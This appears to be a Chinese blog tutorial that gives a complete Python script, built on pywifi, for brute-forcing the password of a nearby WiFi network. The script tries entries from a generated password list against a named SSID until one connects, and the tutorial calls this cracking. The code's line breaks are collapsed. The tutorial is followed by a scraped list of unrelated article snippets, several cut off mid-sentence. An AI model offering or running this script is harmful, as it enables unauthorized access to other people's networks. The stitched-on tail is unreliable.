Python穷举法连接WiFi
【第一步:安装模块】
1.首先在终端里面安装pywifi库
pip install pywifi
2.安装comtypes
pip install comtypes
想要实现穷举法破解 WiFi pywifi 和 comtypes 这两个模块都要添加,上面都完成后就可以开始写代码了
【第二步:设备要求】
方案一:如果是台式电脑 ,需要插网卡(长得像U盘的那种)
方案二:如果是笔记本电脑(不需要另外插网卡,本身自带)
【第三步:代码实现】
小测试:
import pywifi
from pywifi import const# 第一个案例
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()#获取到第一个无线网卡ifaces = wifi.interfaces()[0]# 打印网卡名称# print(ifaces.name())# 列表print(ifaces)# 打印网卡的连接状态# print(ifaces.status()) 连接到的状态码:4 未连接到的状态吗:0if ifaces.status() == const.IFACE_CONNECTED: # 这里可以直接写 4 但是别人看不懂print("已连接")else:print("未连接")
# gic()# 第二个案例 扫描附近的 WiFi
def bies():wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]# 扫描WiFiifaces.scan()# 获取扫描结果result = ifaces.scan_results()for name in result:# ssid 是 wifi的名称 扫描出来不一定有结果,特别是台式电脑print(name.ssid)bies()
密码生成器代码:
这个效果肯定是不行的,只是做测试来使用,建议上网找一些字典,然后把密码文本载进去
import itertools as its # 迭代器 ;as 是重命名words = "1234567890" # 这里改成英文,那结果就是英文组合的密码
r = its.product(words,repeat=5)
dic = open("pass.txt","a") # a 模式,在文件后面追加,没有就创建
for i in r:# i 是个元组,不能直接写进文件里dic.write("".join(i))dic.write("".join("\n"))
dic.close()
完整代码:
import pywifi
from pywifi import const
import time# 1.导入模块
# 2.抓取网卡接口,一般抓第一个,而且电脑一般只有一个无线网卡
# 3.先断开自己的WiFi 否则会出现问题
# 4.进行破解读取密码本
# 5.测试连接
# 6.设置睡眠时间(延时)# 测试连接 返回连接结果
def wificonnect(pwd):# 抓取网卡接口 是个类wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开自己的 wifiifaces.disconnect()time.sleep(1)wifistatu = ifaces.status() #接收连接状态# print(const.IFACE_DISCONNECTED) DISCONNECTED:未连接的if wifistatu == const.IFACE_DISCONNECTED:# print("未连接")# 创建新的WiFi连接文件profile = pywifi.Profile()# 要连接wifi的名称,前面的扫描就是为这一步做铺垫profile.ssid = "CMCC-sx3N"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 密码profile.key = pwd# 删除所有的WiFi连接文件(把之前连接过的文件全部删除)ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)# 用新的连接文件 去测试连接ifaces.connect(tep_profile)# wifi 连接时间time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")# wificonnect()def readPassword():print("开始破解:")# 读取密码本的路径path = ".\pass.txt"# 打开文件file = open(path,"r")# 写死循环,目的是一直去试密码while True:# 读取文件正确执行 try ;错误执行 excepttry:# readline 读取一行passStr = file.readline()bool = wificonnect(passStr)if bool:print("密码正确",passStr)# 跳出当前循环breakelse:print("密码不正确",passStr)except:# 跳出本次循环,直接进入下次循环continuereadPassword()
这里注意一下,如果不需要自己写密码生成器的话,直接创建新项目,在main.py(我把他名字改成:wifi_test1.py)里直接写完整代码就行了。
还有就是台式连网线的用这种方法是不会成功的,必须要拔掉网线插网卡。
Python穷举法连接WiFi相关推荐
- python穷举法_python 穷举指定长度的密码例子
本程序可根据给定的字符字典,穷举指定长度的所有字符串: def get_pwd(str, num): if(num == 1): for x in str: yield x else: for x i ...
- python穷举法列举_穷举法应用举例.doc
无 止 境 穷举法应用举例 在数学问题中, 有一些需要计算总数或种类的趣题, 因其数量关系比较隐蔽, 很难找到"正统"的方式解答,让人感到无从下手.对此,我们可以先初步估计 其数目 ...
- python穷举法求素数_使用Python求指数为20以内的所有梅森素数
这篇文章将要介绍梅森素数的定义以及在Python中实现的方法. 一.梅森素数 梅森数(Mn)指的是形如2n - 1的正整数,其中指数 n 是素数. 如果一个梅森数是素数,则称其为梅森素数.例如22-1 ...
- 用python穷举法判断素数_Python如何判断素数
判断一个给定的正整数是否素数 输入格式: 输入在第一行给出一个正整数n(≤ 10),随后n行,每行给出一个小于1000000 的需要判断的正整数 输出格式: 对每个需要判断的正整数,如果它是素数,则在 ...
- python穷举法搬砖_python 穷举法 算24点(史上最简短代码)-阿里云开发者社区
# 作者:hhh5460 # 时间:2017年6月3日 import itertools deftwentyfour(cards): '''史上最短计算24点代码''' for nums in ite ...
- Python:三种方法计算最大公约数和最小公倍数(欧几里德法、穷举法、stein算法)
Python:三种方法计算最大公约数和最小公倍数 1.穷举法 2.欧几里德法 3.Stein算法 题目:求取任意两个非负数(至多一个数为0)的最大公约数和最小公倍数: 参考资料:Python解决求最大 ...
- python算24点穷举法_24点游戏7节课–第1节-游戏介绍与基本算法 | 学步园
这仅仅是一个控制台(DOS窗口下)的小游戏--有人欢喜有人烦了.欢喜的是因为可以专心于游戏逻辑自身过程,就算你只学过C++简单的屏幕输入输出(cin.cout ),乃至换用java,C#也可以写这个小 ...
- python计算圆周率(蒙特卡洛法/模拟法、统计法/穷举法、BBP公式)
def calculatePI1(): #模拟统计法:蒙特卡罗方法计算圆周率import random as r #导入random模块命名为rimport math as m #导入math模块命名 ...
- python求两个数的最大公约数穷举法_C++求最大公约数四种方法解析
C++求最大公约数的四种方法思路,供大家参考,具体内容如下 将最近学的求最大公约数的四种方法总结如下: 第一种:穷举法之一 解释:拿其中一个数出来,用一个临时变量(tem)保存,每次都把那两个数除以这 ...
- 穷举法python例子_(Python)简单线性模型与穷举优化,穷举法
一个简单的线性模型,使用穷举法计算所有最小二乘误差,并生成分析图. import numpy as np import matplotlib.pyplot as plt # 简单线性模型-穷举法优化 ...
最新文章
- 视频+课件| 室内动态变化场景中的相机重定位(CVPR2021)
- golang中的socket
- 【随记】hexo文章加密
- 关于hibernate的关联外键生成以及外键属性列的正确插入即:解决外键插入时,在关联表中除了外键列为空,其它属性均正常级联保存
- 使用SVN提示“工作副本已经锁定”的解决办法
- excel 切片器 html,excel切片器怎么使用2010
- 读书笔记_打开量化投资的黑箱01
- 小程序 背景图 repeat_简单可爱的微信聊天背景图片
- scrapy框架爬取知乎用户
- SSH config 文件的作用
- javaShop JAVA版多用户B2B2C商城源码(PC+H5+小程序+APP)
- python 修改照片分辨率
- VB.Net几个函数split(),ubound(),lbound(),instr(),mid(),Format()与Round()
- 【感兴区roi学习应用】OpenMv如何只识别左边屏幕里面的红色小球
- Locust + Boomer In Docker
- mysql入门 ,及详细步骤
- 简述华为的鸿蒙操作系统的结构,华为鸿蒙操作系统今日重磅发布
- 列出当前文件夹及其子文件夹下所有文件名称
- 台式计算机内存卡与普通有啥区别,电脑硬盘和内存有什么区别?
- 关于高考志愿填报那些事(个人经验,仅供参考)
热门文章
- 双系统linux分区扩容,Win7 下Ubuntu14.04 双系统无损扩容
- 某妹游戏登录加密(webpack)
- flask实现浏览器实时视频播放
- 王者荣耀苹果微信哪个服务器最强,王者荣耀:国服最高战力!这三个英雄最高战力比拼ios微信区完胜...
- 漫谈区块链“羊群效应”
- 基于C#的词法分析关键字识别与变色
- 市场供需简单模型分析
- oracle发生20001,Oracle IMP数据时报20001错误
- TopCoder SRM 678 Div2
- 高中数学:数列求和的8种常用方法(最全)